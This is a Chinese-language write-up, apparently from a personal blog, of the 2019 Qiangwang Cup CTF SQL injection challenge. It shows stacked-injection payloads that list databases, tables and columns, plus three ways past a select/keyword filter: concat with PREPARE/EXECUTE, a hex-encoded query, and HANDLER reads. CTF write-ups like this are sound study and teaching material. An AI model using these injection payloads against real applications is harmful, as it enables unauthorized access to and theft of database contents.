[强网杯 2019]随便注
[强网杯 2019]随便注 1
总结
- 表名是纯数字,需要用反引号包裹
- 通常使用堆叠注入结合预编译或16进制编码绕过select
- 当
select、union、大小写
被过滤时,可使用handler
语句
题目
解题思路
闭合方式为'
报错,说明是字符型
尝试1’ or1=1#
,成功输出了该表的所有数据,但是没有flag,说明flag不在当前数据表中
判断一下字段个数:' union select 1,2;#
系统提示return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
可以通过堆叠注入的方式,来绕过select关键字
查找数据名:
1 | 1';show databases;# |
查看数据表:1';show tables;#
分别查两个表,发现第一个表1919810931114514下有1flag列
1 | 1'; show columns from `1919810931114514`;# |
注意:如果表名是纯数字,需要用反引号包裹
法一
预编译的方式拼接select 关键字
1 | 1';sEt@a=concat("sel","ect flag from `1919810931114514`");PREPARE hacker from @a;EXECUTE hacker;# |
法二
16进制编码绕过select 关键字
1 | select * from `1919810931114514` |
将上述语句进行16进制编码
1 | 1';sEt@a= 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;PREPARE hacker from @a;EXECUTE hacker;# |
法三
通过handler直接给出答案
1 | 1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;HANDLER `1919810931114514` READ NEXT;HANDLER `1919810931114514` CLOSE; |
当
select、union、大小写
被过滤时,可使用handler
语句
参考:
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 无言の小屋!
评论